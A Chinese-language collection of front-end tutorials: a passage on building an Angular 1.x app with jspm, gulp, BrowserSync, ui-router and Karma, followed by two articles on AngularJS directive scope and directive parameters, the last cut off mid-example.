	Client baseURL__：如果说 __Server baseURL 是给 node 用的（jspm 运行在 node 环境之下），那么 Client baseURL 就是给浏览器用的。它的值写在 config.js 里，由 index.html 引入浏览器执行。它的作用就是告诉 SystemJS 去哪里寻找模块




剩下的就无须一一解释了。到了这里 jspm 的初始化就完成了，下一步要验证它真的有用！

Step 2：最基本的例子

jspm 有很多使用的场景，不过我们一步一步来，先看看它到底能不能工作吧。最基本的我们需要一个 HTTP Server 和一个最简单的 index.html。

HTTP Server，node 环境之下有一个很好的选择：BrowserSync。话说在前，我们选择 BrowserSync 是有理由的（马上会讲），但是它并不是一个适合于部署用的 HTTP Server，我们只是将它用在开发环境当中。关于和部署相关的 jspm 用法到最后我们再聊。

BrowserSync 可以在命令行下直接启动，不过我希望告诉你更具有可操作性和维护性的工程方法，我们把它和基本的开发／构建自动化工作流程整合在一起，因此还需要一个工具 grunt／gulp……这里我们用 gulp：

$ npm install --save-dev gulp js-yaml browser-sync

这些事情都是前端架构师的基本功，我们就不占用篇幅了，我先把相关代码贴出来然后重点说一下 BrowserSync 的一些选项。

// gulpfile.js
var fs          = require('fs');
var yaml        = require('js-yaml');
// var _           = require('lodash');
var gulp        = require('gulp');
// var proxy       = require('proxy-middleware');
// var url         = require('url');
var browserSync = require('browser-sync');

try {
    var options = yaml.safeLoad(fs.readFileSync('./config.yaml', 'utf-8'));
} catch (error) {
    throw new Error(error);
}

var taskDependencies = (function() {
    gulp.task('server', function() {
        // var proxyMiddleware = proxy(
        //     _.assign(url.parse(options.proxyURL), options.proxyOptions)
        // );
        // options.browserSync.server.middleware.push(proxyMiddleware);
        browserSync(options.browserSync);
    });

    return ['server'];
}());

gulp.task('default', taskDependencies, function() {
    // Default Task Denifition
});

# config.yaml
---
browserSync: &browserSync
  files:
    - "public/**"
    - "source/**"
  watchOptions:
    debounceDelay: 3000
  server:
    baseDir: "public"
    routes:
      "/config.js": "./config.js"
      "/jspm_packages": "./jspm_packages/"
      "/source": "./source/"
    # middleware: []
  startPath: "/"
  host: "127.0.0.1"
  port: 3000
  # open: false
  # notify: false
  # online: false
  # tunnel: false
  # tunnel: "jspm-angular-demo"
  # logLevel: "info"
  # logPrefix: "jspm-angular-demo"
  # logConnections: false
  # logFileChanges: false

# proxyURL: "http://your.endpoint.api/"
# proxyOptions: &proxyOptions
  # route: "/api"
  # via: "nightire@localhost"
  # cookieRewrite: "hostname"
  # reserveHost: false

因为有 Github，我们倒是没有必要总是贴大段代码，这次则是一个例外。因为我知道许多前端工程师对工程这块并不是很擅长（有点讽刺），gulp 什么的只懂个基本，那我担心克隆下来以后没弄明白这是干啥的。

上规模的项目不可能没有配置，有些框架强调__约定俗成胜于配置__，但是前端这块儿目前没这个“幸运”。JSON 是非常适合数据负载但却不适合工程配置，这就是我们选择 yaml 的原因，因此在 gulpfile.js 里才有了使用 js-yaml 解析 yaml 文件的部分，因为最终所有的配置都要变成 js 对象 options。

taskDependencies 部分的代码在这里有一些奇怪，其实它是在复杂项目中动态构建任务依赖链所用的，对于目前的需求是有些过度了。不理解的话现在可以忽略，不要紧。



其他被注释的部分先不用理会，因为目前用不到。BrowserSync 的许多选项官网里介绍的都比较清楚，在这里我们只说一个：server.routes：

其实这个选项容易理解，_key_ 是你在页面上请求资源的路径，_value_ 是 BrowserSync 实际映射的文件路径，可问题是：我们为什么要这么做？

还记得前面我让你“坚持住”吧？我卖了一个关子到现在，因为解决的“钥匙”现在才讲到。前因后果如何，让我们了解几个事实：


	我们不喜欢把 index.html 放在项目根路径之下，通常也不会，比较常见的是放在 public/ 路径下。


	尽管如此，我们却还是倾向于 HTTP Server 把 index.html 所在的位置作为伺服的“根”。简单地说：http://localhost:3000/ 比 http://localhost:3000/public/ 更令人愉悦（也常常更符合实际上线后的场景）。


	Again，尽管如此，我们却不喜欢把 jspm_packages/ 等目录（包括 node_modules/ 和 bower_components/ 等等）放在与 index.html 平级或之下的路径，因为有很多琐碎（但重要）的原因导致这些目录有太多实际上线后完全不需要的东西。传统的构建方法会把所有需要的东西抽出来变成配置里又臭又长又难维护的条目，然后利用合并等技术将它们“转移”到合适的位置。




2 和 3合起来给 jspm 带来了一点点尴尬。从 3 的角度来说，受益于 ES6 模块系统以及即将到来的 HTTP/2，传统构建方法里的合并／压缩等“工艺”已不再那么重要，技术上讲 jspm_packages/ 等目录放在哪里也不再打紧，但从 2 的角度来说，如果把 jspm_packages/ 等目录放在 index.html 访问不到的地方也不行……

server.routes 就是干这个的：


	jspm_packages//node_modules//bower_components/ 等等该去哪儿去哪儿，不和应用里的静态资源瞎掺和


	在 index.html 里，当你请求 jspm_packages/xxx，BrowserSync 帮你去寻找在 public/ 目录外面的 jspm_packages/


	其他类似




最后一个“痛点”，config.js 怎么办？本来它和 index.html 在一块儿挺合适的，也应该如此。可你知道么？由于 jspm 需要更改 config.js（后面会讲）而且 jspm 不会去“尊重”你对于本地 HTTP Server 的各种特定配置，因此 config.js 最好最好最好保持和 jspm_packages/ 平级的位置，这会为你省去很多困扰。

对我这样有点“强迫症”的人来说，config.js 和 jspm_packages/ 不在一层才是最完美的，办法的确是有但却超出了本文的范畴。其实主要的纠结点我已经分析完了，如果你像我一样追求“完美”，不妨自己折腾一下。



讲这么多，晕了吗？烦了吗？如果你理解不能，只需记住一个最简单的原则：__jspm init 时候，路径相关的都用默认值。__之后无论你如何设置开发用的 HTTP Server，BrowserSync 都有办法给你调整，所以尽量不要尝试把 config.js 和 jspm_packages/ 挪来挪去，除非你有这个折腾的欲望和动机。

接着就剩下 public/index.html 了，代码很简单，重要的就这几句：（其他的自行去 Github 看）

<script src="jspm_packages/system.js"></script>
<script src="config.js"></script>

这是我们唯一需要的。写好之后我们 $ gulp 一下然后打开浏览器看一下开发者工具里的 Network 面板。



通过观察 Network 面板，我们知道目前工作良好，没有错误，似乎也没有惊喜。不过我们只引了两个文件，但是 es6-module-loader.js 也加载到了。这是一个好的信号，接下来我们要开始看看 jspm 的“黑魔法”了，看看什么才是现代化的包管理器。

Step 3：让 Angular 飞

还记得我们要做的是个 Angular 1.x 的应用吧，那第一步得先引入 Angular 了。呃……有谁知道 Angular 用什么模块规范封装的？啥？你说 angular.module？别逗了……我倒是还记得 Angular＋Require.js 那个费劲儿。

托 SystemJS 的福，jspm 完全不挑食，管你怎么封装的一概通吃。如果你要安装一个包，你不用事先调研它去哪儿找该怎么用，只需要一句：

$ jspm install angular

我们先把魔法看完再说里面的把戏。安装好了之后怎么用？

// source/bootstrap.js
import 'angular'

let CoreModule = angular.module('core', [])

angular.element(document).ready(
    () => angular.bootstrap(document, [CoreModule.name], { strictDi: true })
)

export default CoreModule

<!-- public/index.html -->
<script>
    System.import('source/bootstrap').then(function(module) {
        console.log(module)
    })
</script>

第一反应是不是觉得有点过分，初始化一个 Angular 应用要写这么多代码，值得吗？

首先，这么多代码并非必须，很传统的方式也是可以的：

// source/bootstrap.js
angular.module('core', [])

<!-- public/index.html -->
<script>
    System.import('source/bootstrap')
</script>
<body data-ng-app="core" data-ng-strict-di>

其次——这不是重点好吗？看图：



不管你的代码是怎么写的，我们不再需要在 HTML 里引入这些模块了。同时 System.import 是基于 Promise 的，代码和截图已经说明了这一点。另外，我们直接使用了 ES6 语法而无须任何额外的设置！

所有这些也都要托 SystemJS 的福，赞！

因为异步加载模块的缘由，使用 ng-app 指令声明 Angular 应用的方式有可能会出问题，貌似随着 jspm 的发展现在已经没什么关系了，不过我依然把手动初始化的方式贴在了最前面。我建议你习惯它，以后就没有 ng-app 啦（当然也不需要这么繁琐）。另外以后也没有鸡肋一样的 angular.module 啦，我们今后会尽可能减少“鸡肋”的代码和结构，面向未来而编程。

番外篇：jspm 黑魔法的秘密

说是番外篇因为这部分都是理论分析，不感兴趣的可以跳过到下一部分继续讲实操。

那么问题来了。jspm 如何知道 jspm install angular 安装的包从哪里获得？先上图：




	当解析到 import 'angular' 时，SystemJS 先去找 config.js 里的 "map"，如 1 所示，找到 "angular": "github:angular/bower-angular@1.3.15"。从名称上看，这个包应该是来自于注册在 Bower 的 Angular v1.3.15，github: 看起来是一个命名空间，需要它的原因是 jspm 可以管理来自于不同注册点的同名模块（比如说图右的 babel 来自 npm）。


	接着，在 "path" 里面找这个命名空间映射的本地路径，如 2 所示。


	然后顺藤摸瓜，我们看到了如 3 所示的路径结构。




bower-angular@1.3.15.js 里面有什么？

module.exports = require("github:angular/bower-angular@1.3.15/angular");

啊哈！原来是封装成了 CJS。这就是 SystemJS 能把原本全局声明（window.angular）的 Angular 作为模块对待的处理的全部秘密，说穿了也不怎么神秘。

如果我想要 npm 上注册的 Angular 怎么办？



啊哈！命名空间是这么用的啊。但是 "angular" 的版本被覆盖了呀（红框部分），能不能两个一起用？

注意绿框部分，这里声明了一些依赖关系——既然是包管理器，当然也要能做到这些了。





之后只需要 import 'angular-new' 即可，啊哈了没？

当然还有一个问题：为什么 jspm 默认安装了 bower-angular 而不是 npm-angular？

实际上没有什么“默认”，你可以试着用 jspm 安装一些常用的包，就会发现默认安装 bower-* 或 npm-* 的都有。当你不显式指明命名空间的时候，jspm 会从自己维护的一个注册表里去寻找这个“默认值”，这个注册表的工作原理与 npm 或 bower 都是类似的，因此你也可以注册和发布自己的模块上去——当然了，显式指明命名空间也可以，注册 jspm 是可选的。不过注册 jspm 也是有意义的，特别是当你的模块可以跨包管理器的声明依赖关系的时候。

关于注册和发布 jspm 模块我们以后有机会再聊，现在我们只关注和使用相关的“秘密”。


你注意到 "paths" 里定义的路径了吗？如果我们把 config.js 放在 public/ 下，那么这些路径就变成 ../ 开头的，因为 Server baseURL 是项目的根，而  Client baseURL 是 public/；但由于我们设置了 BrowserSync 将 public/ 视作 HTTP Server 的根，因此 ../ 是会导致解析错误的。

尽管我们可以手动把 ../ 去掉，但是每次 jspm 安装／更新的时候都会重置这个值（jspm 无视因为 HTTP Server 需要而做的手动更改，因为这是无法预见的）。这就是为什么我之前建议把 config.js 和 jspm_packages/ 放在一起的缘故。



Step 4：没有测试可怎么活？

对于我来说，常规的流程到了这里就该轮到测试了。如果你不喜欢写测试也可以跳过这一步，之后我们将会去看看一些常规组件在 ES6 中的写法以及如何引入第三方的资源；如果测试也是你的菜，那我们就继续吧！

Angular 有一个用于单元测试的模块，还有基于 Protractor 的集成测试（端到端测试）。我个人不喜欢前端的集成测试——不是说它不好，就是自己习惯不来，所以整合 Protractor 的事儿我没有做，这里只谈单元测试。（个人观点：单元测试写好了就差不多了，集成测试有太多变数，有时候维护集成测试远比编写它困难无数倍）

以下工具是我们将要用到的：

$ npm install --save-dev karma karma-jspm karma-mocha karma-mocha-reporter karma-sinon-chai karma-chai-as-promised karma-chrome-launcher

那一长串的 karma-* 只有几个是本文的内容真正用到的，不过剩下的也都很有用，你以后写下去迟早会用到。

如何配置 karma 不是本文关注的内容，网上的教程一大把随便挑，我只列举出与 jspm 整合相关的变动。

下图是运行 karma init 以后所填的选项：



比较不同的地方就是没有写源码和测试文件的路径，这是因为我们需要 jspm 来辅佐 karma 读取这些文件，这样才能正确处理依赖和新的 ES6 语法。因此，我们要对生成的 karma.conf.js 做一些改动：

// karma.conf.js
frameworks: [
    'chai-as-promised',
    'sinon-chai',
    'mocha',
    'jspm'
],
// files: []
jspm: {
    loadFiles: [
        'test/**/*.js'
    ],
    serveFiles: [
        'source/**/*.js'
    ]
},
reports: [
    'mocha'
],
browsers: ['Chrome']

我只列出了有改动的部分，剩下的可以保持原样，需要留意的有这样几处：


	要注意 frameworks 的加载顺序，karma 是倒着来的，所以依赖关系要反着写：最后加载的写在数组最前面；


	原来指定加载路径的 files 不用了，可以注释掉；取而代之的是要手动加一个新的 jspm 对象，其中 loadFiles 是 karma 要加载的文件，基本等价于之前的 files，但由于加载源代码和第三方模块的机制变了，所以这里只需要填写测试代码的位置；而 serverFiles 则是 jspm 需要的，同常指明源码文件的位置即可。




实际上测试的部分我是最后才实验完成的，因为此前 karma-jspm 我没用过，走了一些个弯路。目前我也没浏览过此模块的源码，所以分析可能有误，敬请指正。



就是这些，测试环境的搭建还是很简单的。为了确保工作正常，我们试试写一个模块和单元测试。

第一步，把之前的 bootstrap.js 分拆一下，把属于模块定义的部分单独写成一个模块：

// source/bootstrap.js
import 'angular-new'
import CoreModule from 'source/core/core-module'

angular.element(document).ready(
    () => angular.bootstrap(document, [CoreModule.name], { strictDi: true })
)

// source/core/core-module.js
export default angular.module('core', [])

第二步，现在可以针对这俩文件写单元测试了：

// test/helper.js
import 'angular-mocks'

// test/bootstrap.test.js
import 'test/helper'
import 'source/bootstrap'

describe('［应用］：Angular Application 手动初始化', () => {
    it('可以通过应用根节点元素访问 $rootScope，$id 应为 1', () => {
        this.rootElement = angular.element(document.querySelector('body'))
        expect(rootElement.scope()).to.have.property('$id', 1)
    })
})

// test/core/core-module.test.js
import 'test/helper'
import CoreModule from 'source/core/core-module'

describe('［模块］：CoreModule', () => {
    it('具有正确的模块名称', () => {
        expect(CoreModule.name).to.equal('core')
    })
})

运行 karma start，以下是一切 OK 的样子，测试也可以用 ES6 哦，棒！




剧透：此时你克隆下来的代码应该会发现我已经从 babel 切换到了 traceur，这是为了使第一个测试运行成功。截止本文写到这里为止，最新的 jspm 已经支持配置 babel 的 runtime，因此理论上应该可以和 traceur 一样了……遗憾的是我没试出来——也许这是 karma-jspm 还没跟上的缘故，我现在还不清楚。

关于 PhantomJS：你或许与我一样也喜欢完全 Headless 的单元测试运行环境，然而目前为止 karma-jspm 与 PhantomJS 的整合还没有完全做好，另一个项目正在努力工作中，不会太远了。



Step...n

木有了，不需要一步一步的指导了，使用 jspm 创建一个前端工程就是这么简单。接下来我们跳出 step by step 的模式，来聊聊一些更常规化的话题。

第三方组件，举例：_ui-router_

without ui-router, angular 1.x should've been dead already...



这句“名言”是……呃，我说的。不过话糙理不糙，这的确是句大实话（详见在下于 Ruby-China 的详细分析）。我用 ui-router 为例讲讲外部组件的引入，一方面是为了谈 jspm 的用法和便利，另外一方面则是要稍微讲一下 Angular 项目的架构。

安装 ui-router


$ jspm install angular-ui-router

引用 ui-router


// source/core/core-module.js
import 'angular-new'
import 'angular-ui-router'

export default angular.module('core', [
    'ui.router'
])

你甚至可以不用 import 'angular'，因为对于 ui-router 来说，_angular_ 就是它的依赖，jspm 会自动帮你加载 angular 的。至于我这个 demo，由于 angular-new 映射的是 _angular v1.4.0-rc.0_，所以我需要显式 _import_；如果我去掉这一句，jspm 会自动加载 _angular v1.3.15_，因为 'angular' 对应的版本是这个。



如何写 Angular 应用的状态（也就是 ui-router 里的 _state_）？

对于 SPA 应用来说，路由就是核心、骨架、生命线，没有路由机制的应用谈不上 SPA 应用；路由机制实现的很糟糕的 SPA 框架也谈不上好框架。从这个角度来说，我说 Angular 很烂并非无理取闹。还好有 _ui-router_，挽救 Angular 的颜面于水火之中。

当我们谈及路由，在 SPA 应用中其实就是指应用程序的状态，所以 ui-router 本质上就是一个状态机。于是问题来了，我们应该如何定义、管理、组织应用程序的状态？

回答这个问题需要一个前提，那就是理解何为模块化，为何模块化？我不觉得我有这个资格或者说资历来为__模块化__下一个定义，但是我可以列举一个对比的场景：

angular.module('app', [
    'ui.router'
])
    .config(function($stateProvider) {
        $stateProvier
            .state('stateA', {
                url: '/stateA',
                controller: 'stateAController as state',
                resolve: {
                    model: function(stateAService) {
                        return stateAService.getModel()
                    }
                }
            })
            .state('stateB', {
                url: '/stateB',
                controller: 'stateBController as state',
                resolve: {
                    model: function(stateBService) {
                        return stateBService.getModel()
                    }
                }
            })
    })
    .service('stateAService', function($http) { ... })
    .controller('stateAController' function(model) { ... })
    .service('stateBService', function($http) { ... })
    .controller('stateBController' function(model) { ... })

对比：

angular.module('app', [
    'app.stateA',
    'app.stateB'
])



angular.module('app.stateA', [
    'ui.router'
])
    .config(function($stateProvider) {
        $stateProvier
            .state('stateA', {
                url: '/stateA',
                controller: 'stateAController as state',
                resolve: {
                    model: function(stateAService) {
                        return stateAService.getModel()
                    }
                }
            })
    })
    .service('stateAService', function($http) { ... })
    .controller('stateAController' function(model) { ... })
    
    
    
angular.module('app.stateB', [
    'ui.router'
])
    .config(function($stateProvider) {
        $stateProvider
            .state('stateB', {
                url: '/stateB',
                controller: 'stateBController as state',
                resolve: {
                    model: function(stateBService) {
                        return stateBService.getModel()
                    }
                }
            })
    })
    .service('stateBService', function($http) { ... })
    .controller('stateBController' function(model) { ... })

你来说说，哪一种更“模块化”一些？很显然，答案是后者。但由于 angular.module 这个貌似 modulize 实则只是 namespace 的鸡肋机制，导致在传统的前端项目中使用后者组织项目架构会有很多不好回避的痛苦（比如需要手动指明加载／合并顺序等），所以现存的 Angular 项目还是以第一种为主。

但即使是后者，也并不完全合情合理。有人就跟我提过：“我不喜欢 states 分散在各模块当中，你很难一眼尽观整个项目的状态分布”。嗯，我觉得非常有道理呢！这一点 Rails 或是 Ember 在前后两端都作出了很好的示范。

那么我们可以怎么做？我认为以下几点是值得考虑的。

	目录结构上，以 states 和 components 做一个大分类，然后 states 以下以状态为区分划分子目录（对应一个模块）；components 以下自然是以组件为区分划分子目录（对应一个模块）了。见下图：






这个我就不想细细说明了，会吐……但凡对组织结构有过研究的大概都能看明白这些目录文件是什么，若有不解或相异之处我们可以单独探讨。

我要说的是这么分割下来伴随 jspm 要怎么写。我们从 home 开始：

首先，核心模块里引入 HomeModule：

// source/core/core-module.js
import 'angular-new'
import 'angular-ui-router'

import HomeModule from 'source/states/home/home-module'

import CoreRouter from 'source/core/core-router'

export default angular.module('core', [
    'ui.router',

    HomeModule.name
])
    .config(CoreRouter)

__这里还是一个关键点__：我会定义一个全局性的_路由配置_文件，它不会定义具体的路由对象，只是一个映射性质的文件，就是为了“一眼尽观整个项目的状态分布”。它实际上是一个 angular.config 使用的工厂函数。以下是这个文件大概的样子：

// source/core/core-router.js
import HomeRoute from 'source/states/home/home-route'

function CoreRouter($stateProvider) {
    $stateProvider
        // Home
        .state('home', HomeRoute)

        // Session
        // .state('session',        SessionRoute)
        // .state('session.signin', SessionSigninRoute)
        // .state('session.signup', SessionSignupRoute)
}

CoreRouter.$inject = ['$stateProvider']

export default CoreRouter

此时此刻我们还没有任何可用的 _route_，所以大部分的代码都被注释着。

紧接着，定义 HomeModule 和 HomeRoute：

// source/states/home/home-module.js
export default angular.module('home', [])

// source/states/home/home-route.js
import HomeTemplate from './home-template.html!text'    // ⚠
import HomeController from './home-controller'

var HomeRoute = {
    url:          '/home',
    template:     HomeTemplate,
    controller:   HomeController,
    controllerAs: 'home'
}

export default HomeRoute

唔，注意到那个 ⚠ 符号了吧？我们在 HomeRoute 的定义中需要引入 HTML 模板。传统的做法要么写成字符串，要么使用 $templateCache 预编译；其实都可以，不过 jspm 和其他一些包管理器一样也提供了非 JS 模块的加载机制，这就是 ⚠ 所要演示的。要做到这一点，我们需要安装一个 text 插件（实际上是 SystemJS 的插件）

$ jspm install text

OK了！以后任何文本格式的文件都可以在后面加上 !text 导入到 Javascript 程序中，导入后是什么？字符串。

这一块代码整体的基本思路就是：状态对象（state object）的定义跟随对应的模块走，而状态名字与状态对象的映射则做成全局的放在核心模块里。这样一来就等于把路由器（router）和路由（route）分开了。

当然，为了让这个例子能够有效，你得给 index.html 提供一个 ui-view：

<!-- public/index.html -->
<body data-ui-view>
    <a data-ui-sref="home"></a>
</body>

测试一下你会发现当你点击链接的时候 Angular 才会报找不到 HomeController 的错误，这也是从侧面作证异步模块加载生效的证据。

好，编写一个简单的控制器完成这个例子，顺便休息一下……

// source/home/home-controller.js
class HomeController {
    constructor($filter) {
        this.$filter  = $filter
        this.now      = new Date()
        this.greeting = `你好，今天是：${this.time()}！`
    }

    time() {
        return this.$filter('date')(this.now)
    }
}

HomeController.$inject = ['$filter']

export default HomeController

<!-- source/states/home/home-template.html -->
<a data-ui-sref="^">返回</a>
<p data-ng-bind="::home.greeting"></p>

（待续……后面是为新的控制器写单元测试）



更新：

	修复了使用 Babel 会导致单元测试出错的 bug。（2015-4-16）





 一招制敌 - 玩转 AngularJS 指令的 Scope (作用域)

作者：dreamapplehappy

来源： 一招制敌 - 玩转 AngularJS 指令的 Scope (作用域)



                    
学习了AngularJS好长时间，最近再次回首看看指令这部分的时候，觉得比自己刚开始学习的时候理解的更加深入了，尤其是指令的作用域这部分。


当初看的是《AngularJS权威指南》这本书，但是感觉这本书关于这方面讲的不是很细致，

另外吐槽一下，这本书中文版印刷的质量不是很好，很多地方都有错误；不过讲的还是可以的，是一本学习AngularJS的好书。


下面我们就来详细分析一下指令的作用域。

在这之前希望你对AngularJS的Directive有一定的了解,不然你对下面部分的理解可能会有一点难度。


步入正题：



  每当一个指令被创建的时候，都会有这样一个选择，是继承自己的父作用域（一般是外部的Controller提供的作用域或者根作用域（$rootScope）），还是创建一个新的自己的作用域，当然AngularJS为我们指令的scope参数提供了三种选择，分别是：false,true,{}；默认情况下是false。




scope = false


首先我们来看一下，当scope参数被设置为false时有什么情况发生


在这种情况下，在指令模板中可以直接使用父作用域中的变量，函数

首先我们来创建一个指令，代码如下所示：

JS代码：


javascriptangular.module("MyApp", [])
    .controller("MyController", function ($scope) {
        //J1 这里我们在作用域里初始化两个变量
    $scope.name = "dreamapple";
    $scope.age = 20;
        //J2 创建一个方法，修改我们创建的对象的年龄
    $scope.changeAge = function () {
        $scope.age = 22;
    }
})
        //J3 创建我们的指令，指令名字为"myDirective"

    .directive("myDirective", function () {
    var obj = {
        //J4   指令的声明模式为 "AE" 属性和元素
        restrict: "AE",
        //J5   指令继承父作用域的属性和方法
        scope: false,
        replace: true,
        template: "<div class='my-directive'>" +
            "<h3>下面部分是我们创建的指令生成的</h3>" +
            "我的名字是：<span ng-bind='name'></span><br/>" +
            "我的年龄是：<span ng-bind='age'></span>" +
            "<input type='text' ng-model='name'>"+
            " </div>"
    }
    return obj;
});



HTML代码：


html

<div ng-app="MyApp">
    <div class="container" ng-controller="MyController">
        <div class="my-info">我的名字是：<span ng-bind="name"></span>
        <!-- 使用"ng-bind"防止网络状态不佳时出现没有被赋值表达式   -->
            <br/>我的年龄是：<span ng-bind="age"></span>

        </div>
        <!-- 使用属性声明指令 -->
        <div class="my-directive" my-directive></div>
    </div>
</div>





CSS代码：


cssdiv{
    padding: 6px;
}
div.container {
    border: 1px solid black;
}
div.my-info {
    border: 1px solid blue;
}
div.my-directive{
    border: 1px solid green;
}



Online Code Part1


下面我们来详细解释一下上面的代码：



  因为我们将scope的属性设置为false所以，我们创建的指令继承了父作用域的一切属性和方法，这也使得在指令的模板中我们可以使用这些属性和方法。





  注意：此时我们在输入框里改变名字，会发现上面的两个名字都发生了变化，你肯定会说，这肯定是这样啊，数据绑定嘛，好，我们接着往下走。




scope = true


当把scope属性设置为true时，这表明我们创建的指令要创建一个新的作用域，这个作用域继承自我们的父作用域。

等等，刚才我们不是说了，当把scope属性值设置为false时，不也是继承我们的父作用域吗？表急，我们接着往下看。


修改上面的JS代码，将指令中的：


scope:false修改为scope:true


然后我们再试着在我们的input输入框中写一些字符串，会发现，指令中的那个name发生了变化，但是指令外的那个name却没有发生变化，这说明了一个问题。



  
	当我们将scope设置为true的时候，我们就新创建了一个作用域，只不过这个作用域是继承了我们的父作用域；我觉得可以这样理解，我们新创建的作用域是一个新的作用域，只不过在初始化的时候，用了父作用域的属性和方法去填充我们这个新的作用域。它和父作用域不是同一个作用域。

  	当我们将scope设置为false的时候,我们创建的指令和父作用域（其实是同一个作用域）共享同一个model模型，所以在指令中修改模型数据，它会反映到父作用域的模型中。
Online Code Part2


  




scope = {}


下面我们要进入一个好玩的部分，当我们将scope的属性设置为{}时，我们可以做更多的事情。


AngularJS最强的大的地方之一就是它可以构建组建，无论放在哪里都是可以使用的；

这所以可以做到这些，不得不归功于指令的这个属性；当我们将scope设置为{}时，意味着我们创建的一个新的与父作用域隔离的新的作用域，这使我们在不知道外部环境的情况下，就可以正常工作，不依赖外部环境。


当然首先我们还是要给出我们的例子，先看代码,我们修改了上述的JS代码和HTML代码

JS代码：


javascriptangular.module("MyApp", [])
    .controller("MyController", function ($scope) {
    $scope.name = "dreamapple";
    $scope.age = 20;
    $scope.changeAge = function(){
        $scope.age = 0;
    }
})
    .directive("myDirective", function () {
    var obj = {
        restrict: "AE",
        scope: {
            name: '@myName',
            age: '=',
            changeAge: '&changeMyAge'
        },
        replace: true,
        template: "<div class='my-directive'>" +
            "<h3>下面部分是我们创建的指令生成的</h3>" +
            "我的名字是：<span ng-bind='name'></span><br/>" +
            "我的年龄是：<span ng-bind='age'></span><br/>" +
            "在这里修改名字：<input type='text' ng-model='name'><br/>" +
            "<button ng-click='changeAge()'>修改年龄</button>" +
            " </div>"
    }
    return obj;
});



HTML代码：


html

<div ng-app="MyApp">
    <div class="container" ng-controller="MyController">
        <div class="my-info">我的名字是：<span ng-bind="name"></span>

            <br/>我的年龄是：<span ng-bind="age"></span>
            <br />
        </div>
        <div class="my-directive" my-directive my-name="{{name}}" age="age"  change-my-age="changeAge()"></div>
    </div>
</div>





Online Code Part3


我们使用了隔离的作用域，不代表我们不可以使用父作用域的属性和方法。



	我们可以通过向scope的{}中传入特殊的前缀标识符（即prefix），来进行数据的绑定。

	在创建了隔离的作用域，我们可以通过@,&,=引用应用指令的元素的属性，如上面的代码那样，我们可以在<div class="my-directive" my-directive my-name="{{name}}" age="age"  change-my-age="changeAge()"></div>这个元素中，利用前缀标识符通过使用属性my-name,age,change-my-age来引用这些属性的值。



下面我们来看看如何使用这些前缀标识符：


@


这是一个单项绑定的前缀标识符

使用方法：在元素中使用属性，好比这样<div my-directive my-name="{{name}}"></div>，注意，属性的名字要用-将两个单词连接，因为是数据的单项绑定所以要通过使用{{}}来绑定数据。


=


这是一个双向数据绑定前缀标识符

使用方法：在元素中使用属性，好比这样<div my-directive age="age"></div>,注意，数据的双向绑定要通过=前缀标识符实现，所以不可以使用{{}}。


&


这是一个绑定函数方法的前缀标识符

使用方法：在元素中使用属性，好比这样<div my-directive change-my-age="changeAge()"></div>，注意，属性的名字要用-将多个个单词连接。



  注意：在新创建指令的作用域对象中，使用属性的名字进行绑定时，要使用驼峰命名标准，比如下面的代码。




javascriptscope: {
            // `myName` 就是原来元素中的`my-name`属性
            name: '@myName', 
            age: '=',
            // `changeMyAge`就是原来元素中的`change-my-age`属性
            changeAge: '&changeMyAge' 
        }



进一步说明，我们的指令是如何利用这些前缀标识符来寻找我们想要的属性或者函数的？



	
@ 当指令编译到模板的name时，就会到scope中寻找是否含有name的键值对，如果存在，就像上面那样，看到@就知道这是一个单向的数据绑定，然后寻找原来的那个使用指令的元素上（或者是指令元素本身）含有这个值的属性即my-name={{name}}，然后在父作用域查找{{name}}的值，得到之后传递给模板中的name。

	
=和&与@差不多，只不过=进行的是双向的数据绑定，不论模板还是父作用域上的属性的值发生改变都会使另一个值发生改变，而&是绑定函数而已。



到这里我们关于AngularJS指令的作用域估计也理解的差不多了，那好，洗洗睡吧！


 AngularJS指令开发（1）——参数详解

作者：Tgor

来源： AngularJS指令开发（1）——参数详解



                    
费了不少时间泡在自己的Angular UI for mobile计划，但看来是要搁置一下。一个是因为最近公司项目紧，自己还要忙着考驾照，心力交瘁啊。当然，最重要的原因还是，在Angular的使用上，钻得越深，发现水越深，不得不停下来，重新整理一下知识点。

赶紧开始。

指令，很重要

AngularJS与JQuery最大的区别在哪里？我认为，表现在数据双向绑定，实质就是DOM的操作形式不一样。


	JQuery通过选择器找到DOM元素，再赋予元素的行为；


	而AngularJS则是，将指令与DOM绑定在一起，再扩展指令的行为。




所以AngularJS开发最理想的结果就是，在页面HTML与CSS的设计时，设计工程师只需要关注指令的使用；而在背后的逻辑开发上，架构工程师则是不需要知道如何操作DOM，只需要关注指令背后的行为要如何实现就行；测试工程师也可以开发针对指令的单元测试。

指令就是DOM与逻辑行为的媒介，本质就是DOM绑定的独立逻辑行为函数。

指令难点在于参数

来看看都有哪些

angular.module('app', [])
.directive('myDirective', function() {
    return {
    restrict: String,                
    priority: Number,
    terminal: Boolean,
    template: String or Template Function:
    function(tElement, tAttrs) {...},
    templateUrl: String,
    replace: Boolean or String,
    scope: Boolean or Object,
    transclude: Boolean,
    controller: String or
    function(scope, element, attrs, transclude, otherInjectables) { ... },
    controllerAs: String,
    require: String,
    link: function(scope, iElement, iAttrs) { ... },
    compile: // 返回一个对象或连接函数，如下所示：
    function(tElement, tAttrs, transclude) {
        return {
            pre: function(scope, iElement, iAttrs, controller) { ... },
            post: function(scope, iElement, iAttrs, controller) { ... }
           }
        return function postLink(...) { ... }
        }
    };
 });


刚开始接触指令的时候，我简直就是蒙了，这堆参数究竟怎么用怎么理解啊。告诉大家我的一个理解方法。
把它们分成三类：


	描述指令或DOM本身特性的内部参数


	连接指令外界、与其他指令或控制器沟通的对外参数


	描述指令本身行为的行为参数




内部参数


	restrict：String，E（元素）<my-directive></my-directive> A（属性，默认值）<div my-directive="expression"></div> C（类名）<div class="my-directive:expression;"></div> M（注释）<--directive:my-directive expression-->


	priority: Number，指令执行优先级


	template: String，指令链接DOM模板，例如“<h1>{{head}}</h1>”


	templateUrl:String，DOM模板路径


	replace: Boolean，指令链接模板是否替换原有元素，




对外参数——scope

scope参数非常重要，本应该是放到最后说明的，但是scope却是理解其他参数的关键，所以务必先跟大家说清楚。

scope参数的作用是，隔离指令与所在控制器间的作用域、隔离指令与指令间的作用域。

scope参数是可选的，默认值为false，可选true、对象{}；


	false：共享父域


	true：继承父域，且新建独立作用域


	对象{}：不继承父域，且新建独立作用域




false、true、{}三者对比

来看个例子

<body>
    <div ng-controller='parentCtrl'>
        <h3>指令scope参数——false、true、{}对比测试</h3>
        parent:
        <div>
            <span> {{parentName}}</span>
            <input type="text" ng-model="parentName" />
        </div>
        <br />
        <child-a></child-a>
        <br />
        <child-b></child-b>
        <br />
